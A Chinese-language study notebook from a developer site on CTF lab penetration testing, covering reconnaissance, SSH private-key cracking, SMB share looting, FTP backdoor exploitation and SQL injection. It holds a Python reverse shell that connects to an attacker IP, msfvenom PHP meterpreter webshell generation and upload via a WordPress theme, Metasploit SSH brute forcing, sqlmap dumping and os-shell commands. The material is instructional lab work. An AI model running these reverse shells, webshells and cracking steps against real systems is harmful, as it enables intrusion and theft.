热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CTF|WEB学习总结

目录SSHSMB信息泄露FTP服务后门利用CapturetheFlagSQL注入(GET)SQL注入(POST)SSHGET-从指定资源请求数据&#x

目录

  • SSH
  • SMB信息泄露
  • FTP服务后门利用
  • Capture the Flag
  • SQL注入(GET)
  • SQL注入(POST)


SSH

GET -从指定资源请求数据:用GET给后端传参的方法:在?后跟变量,不同变量之间用&隔开
POST- 从指定资源提交要被处理的数据

robots.txt:爬虫协议文件:存放于网站根目录下的ASCII编码的文本文件,存放不允许搜索引擎探测和允许探测的文件名

信息探测
渗透:针对服务器的漏洞探测,进行对应数据包的发送,获取机器最高权限。‘

– nmap -sV 靶场IP地址 挖掘开放服务信息 探测靶场开放的服务与服务的版本
– nmap -A -v 靶场IP地址 探测靶场全部信息
– nmap -O 靶场IP地址 探测靶场的操作系统类型与版本

分析探测结果:
常用端口:0~1023端口,需要针对特殊端口进行探测
对于开放http服务大端口,采取http://[ip]:[port]/访问,如果源代码获取对应信息中没有flag信息,可采用工具探测隐藏页面:dirb http://[ip]:[port]/

SSH建立在应用层上,远程登录会话,有效防止远程管理中信息泄露问题,是基于TCP 22号端口的服务
SSH协议认证机制:
1.基于口令的安全验证:所有传输的数据都会被加密,但不能保证正在连接的服务器就是想要连接的服务器。
2.基于密钥的安全验证:公共密钥放在需要访问的服务器上
两种认证机制都不一定获得root权限

挖掘ssh信息:
一般给出的文件中,id_rsa是私钥文件,id_rsa.pub是公钥文件,公钥存储于服务器端可远程访问因此不需要下载,同时认证关键词文件中包含用户名和主机
使用私钥登录远程服务器 ls -alh 查看对应目录下文件的权限

使用私钥远程登录服务器:
chmod 600 id_rsa 赋予读写权限
ssh -i id_rsa 【用户名】@【服务器IP】
ssh2john id_rsa>rsacrack 将id_rsa密钥信息转换为john可识别的信息
利用字典解密rsacrack信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack 即可获得主机的访问权
深入探测根目录 cd /root
查找具有root权限的文件 -find / -perm -4000 2>/dev/null (“/”指根目录, -perm -4000表示执行权限 , 2>/dev/null可避免错误输出)
根据代码审计一步步提升权限
如 char buf[20]; gets(buf) 表示将输入的字符串赋值给buf ,由于buf是数组可以考虑溢出
/bin/sh
whoami用于显示自身用户名称
cat 显示文件内容

对于SSH服务的22端口的靶场首先考虑暴力破解、私钥泄露
对于开放http服务的80端口或者其他端口的靶场,首先考虑通过浏览器访问对应的靶场http服务,或使用探测工具对http的目录进行探测
特别注意特殊端口(大于1024的端口,用户自行支配)
挖掘敏感信息!尤其是robots.txt

对于某些靶场可以使用nikto扫描器挖掘敏感信息 – nikto -host 靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果,挖掘可以利用的敏感信息
利用敏感、弱点信息:“chomd 600 id_rsa” 修改id_rsa的权限 “ssh -i id_rsa 用户名@靶场IP地址” 利用私钥登录服务器(如果私钥文件有解密密码,就需要进行对应的破解)
wget命令用于下载文件,支持HTTP,HTTPS,FTP协议,可以使用HTTP代理
pwd命令用于查看当前工作目录
登录服务器后,需要进行的操作包括:查看当前用户 whoami、id查看当前用户的权限、查看根目录寻找flag文件
如果是root权限表明靶场被全部拿下,如果不是则需要提权。一般情况下flag文件只属于root用户和对应的用户组:
cat /etc/passwd 查看所有用户的列表,用户的关键信息
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录

/etc/crontab 设定系统定期执行的任务,编辑,需要root权限。不同的用户可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。
/etc/crontab下如果有某用户定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,使用netcat执行监听获取对应用户的权限;如果有定时执行的文件,可以切换到对应目录查看对应权限。

编写反弹shell代码:
靶场代码
#!/usr/bin/python
import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字(默认使用以太网的TCP套接字)
s.connect((“攻击机IP地址“,”攻击机监听端口“))#使用套接字连接攻击机
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)#标准输入输出和错误输入输出
p=subprocess.call([”/bin/sh","-i"]) #使用子进程调用shell交互模式

攻击机用netcat命令 – nc -lpv 未占用端口
查看占用端口 netstat -pantu

万不得已时需要对ssh服务进行暴力破解,破解最后一个用户名 如hydra、medusa等
利用cupp创建个性化字典
– git clone https://github.com/jeanphorn/common-password.git
– chmod +x cupp.py
– ./cupp.py -i 以交互的方式创建字典
chomd +x cupp.py 赋予可执行权限

使用metasploit破解SSH
在终端输入
msfconsole
– msf > use auxiliary /scanner/ssh/ssh_login
– msf auxiliary(ssh_login) > set rhosts 远程主机IP地址
– msf auxiliary(ssh_login) >set username hadi
– msf auxiliary(ssh_login) >set pass_file hadi.txt
– msf auxiliary(ssh_login)>set threads 5 #设置线程
– msf auxiliary(ssh_login)> show options #查看参数是否设置完全
– msf auxiliary(ssh_login)> verbose true #使每一条登录信息都能被查看到
– msf auxiliary(ssh_login)> run

优化会话
python -c "import pty;pty.spawn(’/bin/bash’)”
su -root #提权操作

获取flag:一般情况下在root目录下

SMB信息泄露

SMB信息泄露
SMB通信协议:主要是Microsoft网络的通讯协议,后来linux移植了SMB,并称为samba。SMB基于TCP-NETBIOS,一般端口使用为139,445
SMB协议:计算机可以访问网路资源,下载对应的资源文件
步骤:
1.信息探测:只给顶一个对应IP地址的靶场机器,需要扫描探测开放的服务。
nmap -sV IP 挖掘开放服务信息
nmap -A -v -T4 IP 挖掘靶场全部信息
2.针对SMB协议,使用空口令若登录成功,下载并查看敏感文件:
smbclient -L IP #列出该IP共享的所有目录和链接
smbclient ‘\IP\share$’ #y用空口令登录后ls查看 #config配置文件中可能有用户名和密码 #mysql -h IP -u 用户名 -p 远程登录数据库
get 敏感文件
3.针对SMB协议远程溢出漏洞进行分析 searchsploit samba版本号
4.针对HTTP协议弱点分析:
浏览器查看网站
使用dirb nikto 探测
寻找突破点,目标登录后台,上传webshell
5.制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw>/root/Desktop/shell.php
启动监听 msfconsole
msf > use exploit/multi/handler
msf exploit(handler)> set payload php/meterpreter/reverse_tcp
msf exploit(handler)> set lhost 攻击机IP地址
msf exploit(handler)> set lhost 4444
msf exploit(handler)> run
6.上传webshell
获得反弹的shell :wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
7.查找flag值
优化终端:python -c “import pty;pty.spawn(”/bin/bash")’
查找敏感信息,提升root权限,查看flag值
查找用户名: cat /etc/passwd
查找密码:在共享目录下的敏感文件,提升权限
su 用户名
sudo -l
su sudo

总结:对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
一般情况下flag值都在/root目录下,并需要提升root权限才能查看内容

FTP服务后门利用

FTP(文件传输协议),用于Internet上的控制文件的双向传输,同时也是一个应用程序。

信息探测 nmap -sV 靶场IP
nmap -T4(表示使用nmap最快速度) -A(所有) -v 靶场IP
分析nmap扫描结果挖掘可利用的信息

使用searchsploit+软件名称版本 查看漏洞信息找出可利用的溢出代码

使用metasploit进行溢出:
在终端输入msfconsole(一个大型安全框架)
输入search对应的软件及版本号(搜索是否存在可利用的漏洞模块)
使用exploit
查看可以使用的payload: show payloads
设置payload:set payload
设置参数:show options
set rhost 靶场IP
set lhost 攻击机IP
进行远程溢出 exploit
执行命令 id

优化shell: python -c “import pty;pty.spawn(’/bin/bash’)”
使用python pty开启终端

一般情况下flag在根目录下 cd /root
总结:对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞代码;对于系统,一定要注意利用现成的EXP来root主机

Capture the Flag

信息探测nmap(由于探测可能会漏掉一些端口,因此需要多条探测命令相结合的方法保证能扫描到全部信息)
探测敏感信息: nikto -host http://靶场IP地址:端口(如果是80端口(HTTP服务的端口)可以省略端口号,其他端口不能省略端口号) dirb http://靶场IP地址:端口
对于大端口的非http服务,可以使用nc来探测该端口的banner信息(banner信息中可以得到软件开发商、软件名称版本服务类型等信息,使用某些工具取使用对应的exp进行攻击): nc IP地址 端口号
对于大端口http服务,可以使用浏览器浏览界面查看源代码,寻找flag值
对于http服务,可以使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可以利用的位置
pwd命令查看当前目录

深入挖掘
FTP匿名登录 挖掘敏感信息
在浏览器中输入 ftp://靶场IP 匿名登录ftp服务器根目录,查看敏感文件,注意一定要查看源代码
在站点robots.txt文件中寻找敏感文件,挖掘敏感文件漏洞
对于命令执行中为了绕过对应的限制,可以使用相近命令来代替限制的shell命令 如cat命令可替换为more命令

多尝试!如果一次访问不行可以尝试多次连接(网络连接问题,ping一下试试?)

获得对应的用户名和密码后可以通过ssh来登录系统,查看对应的flag值 ssh 用户名@靶场IP
ssh -p 端口号 用户名@IP地址

总结:注意未知服务的端口,可以使用nc获取对应的banner信息
使用对应相近的shell命令来绕过限制,如cat more
对每一个服务都需要进行对应的探测,不放过任何一个可以利用的点

SQL注入(GET)

SQL注入攻击:通过构建特殊的输入作为参数传入WEB应用程序,而这些输入大多是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
主要原因:程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都可能是注入点。比如url中,http报文中,POST传递的参数

GET 具体步骤
信息探测
深入挖掘
漏洞扫描:web漏洞扫描器 owasp-zap(可以自动发现web应用程序中的安全漏洞,同时也可以提供安全测试)
输入url,扫描器会对url进行爬取并进行漏洞扫描,最后跳转到alert
漏洞利用:对扫描结果进行分析:如果具有SQL注入漏洞可以直接利用(SQL是高危漏洞,可以直接获取 服务器权限)
使用sqlmap利用SQL注入漏洞:sqlmap -u url -dbs 查看数据库名
sqlmap -u url -D“数据库名” -tables 查看对应数据库中的数据表
sqlmap -u url -D “数据库名” -T "表名” -columns 查看对应字段
sqlmap -u url -D “数据库名” -T “表名” -C "列名” -dump 查看对应字段的值(如果有多个字段,用逗号相连接)
也可以直接尝试sqlmap -u -url -os-shell 直接获取shell
information_schema是系统自带数据库
上传shell反弹权限:生成反弹shell msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw>/root/Desktop/shell.php(注意生成的文件从“ 攻击机启动监听:msf>use exploit/multi/handler
msf exploit(handler)>set payload php/meterpreter/reverse_tcp
msf exploit(handler)>set lhost 攻击机IP地址
msf exploit(handler)>set lport 4444
msf exploit(handler)>run

SQL注入(POST)

推荐阅读
  • 本文介绍了如何利用HTTP隧道技术在受限网络环境中绕过IDS和防火墙等安全设备,实现RDP端口的暴力破解攻击。文章详细描述了部署过程、攻击实施及流量分析,旨在提升网络安全意识。 ... [详细]
  • Keepalived 提供了多种强大且灵活的后端健康检查机制,包括 HTTP_GET、SSL_GET、TCP_CHECK、SMTP_CHECK 和 MISC_CHECK 等多种检测方法。这些健康检查功能确保了高可用性环境中的服务稳定性和可靠性。通过合理配置这些检查方式,可以有效监测后端服务器的状态,及时发现并处理故障,从而提高系统的整体性能和可用性。 ... [详细]
  • Spring Boot 中配置全局文件上传路径并实现文件上传功能
    本文介绍如何在 Spring Boot 项目中配置全局文件上传路径,并通过读取配置项实现文件上传功能。通过这种方式,可以更好地管理和维护文件路径。 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • javascript分页类支持页码格式
    前端时间因为项目需要,要对一个产品下所有的附属图片进行分页显示,没考虑ajax一张张请求,所以干脆一次性全部把图片out,然 ... [详细]
  • 在CentOS 7环境中安装配置Redis及使用Redis Desktop Manager连接时的注意事项与技巧
    在 CentOS 7 环境中安装和配置 Redis 时,需要注意一些关键步骤和最佳实践。本文详细介绍了从安装 Redis 到配置其基本参数的全过程,并提供了使用 Redis Desktop Manager 连接 Redis 服务器的技巧和注意事项。此外,还探讨了如何优化性能和确保数据安全,帮助用户在生产环境中高效地管理和使用 Redis。 ... [详细]
  • 在PHP中如何正确调用JavaScript变量及定义PHP变量的方法详解 ... [详细]
  • 技术分享:使用 Flask、AngularJS 和 Jinja2 构建高效前后端交互系统
    技术分享:使用 Flask、AngularJS 和 Jinja2 构建高效前后端交互系统 ... [详细]
  • 服务器部署中的安全策略实践与优化
    服务器部署中的安全策略实践与优化 ... [详细]
  • 在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数,注入恶意 SQL 代码,从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]
  • Web开发框架概览:Java与JavaScript技术及框架综述
    Web开发涉及服务器端和客户端的协同工作。在服务器端,Java是一种优秀的编程语言,适用于构建各种功能模块,如通过Servlet实现特定服务。客户端则主要依赖HTML进行内容展示,同时借助JavaScript增强交互性和动态效果。此外,现代Web开发还广泛使用各种框架和库,如Spring Boot、React和Vue.js,以提高开发效率和应用性能。 ... [详细]
  • 本文介绍了如何利用Struts1框架构建一个简易的四则运算计算器。通过采用DispatchAction来处理不同类型的计算请求,并使用动态Form来优化开发流程,确保代码的简洁性和可维护性。同时,系统提供了用户友好的错误提示,以增强用户体验。 ... [详细]
  • 优化后的标题:深入探讨网关安全:将微服务升级为OAuth2资源服务器的最佳实践
    本文深入探讨了如何将微服务升级为OAuth2资源服务器,以订单服务为例,详细介绍了在POM文件中添加 `spring-cloud-starter-oauth2` 依赖,并配置Spring Security以实现对微服务的保护。通过这一过程,不仅增强了系统的安全性,还提高了资源访问的可控性和灵活性。文章还讨论了最佳实践,包括如何配置OAuth2客户端和资源服务器,以及如何处理常见的安全问题和错误。 ... [详细]
  • 深入探索HTTP协议的学习与实践
    在初次访问某个网站时,由于本地没有缓存,服务器会返回一个200状态码的响应,并在响应头中设置Etag和Last-Modified等缓存控制字段。这些字段用于后续请求时验证资源是否已更新,从而提高页面加载速度和减少带宽消耗。本文将深入探讨HTTP缓存机制及其在实际应用中的优化策略,帮助读者更好地理解和运用HTTP协议。 ... [详细]
  • 成都服务器租赁适用于哪些网站业务部署——Vecloud专业解析
    成都,作为四川省的省会,不仅是西南地区唯一的副省级城市,也是国家重要的高新技术产业基地和商贸物流中心。Vecloud专业解析指出,成都服务器租赁服务特别适合各类网站业务的部署,尤其是需要高效、稳定和安全的在线应用。无论是电子商务平台、内容管理系统还是大数据分析,成都的服务器租赁都能提供强大的支持,满足不同企业的需求。 ... [详细]
author-avatar
紫藤老君的八卦炉
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有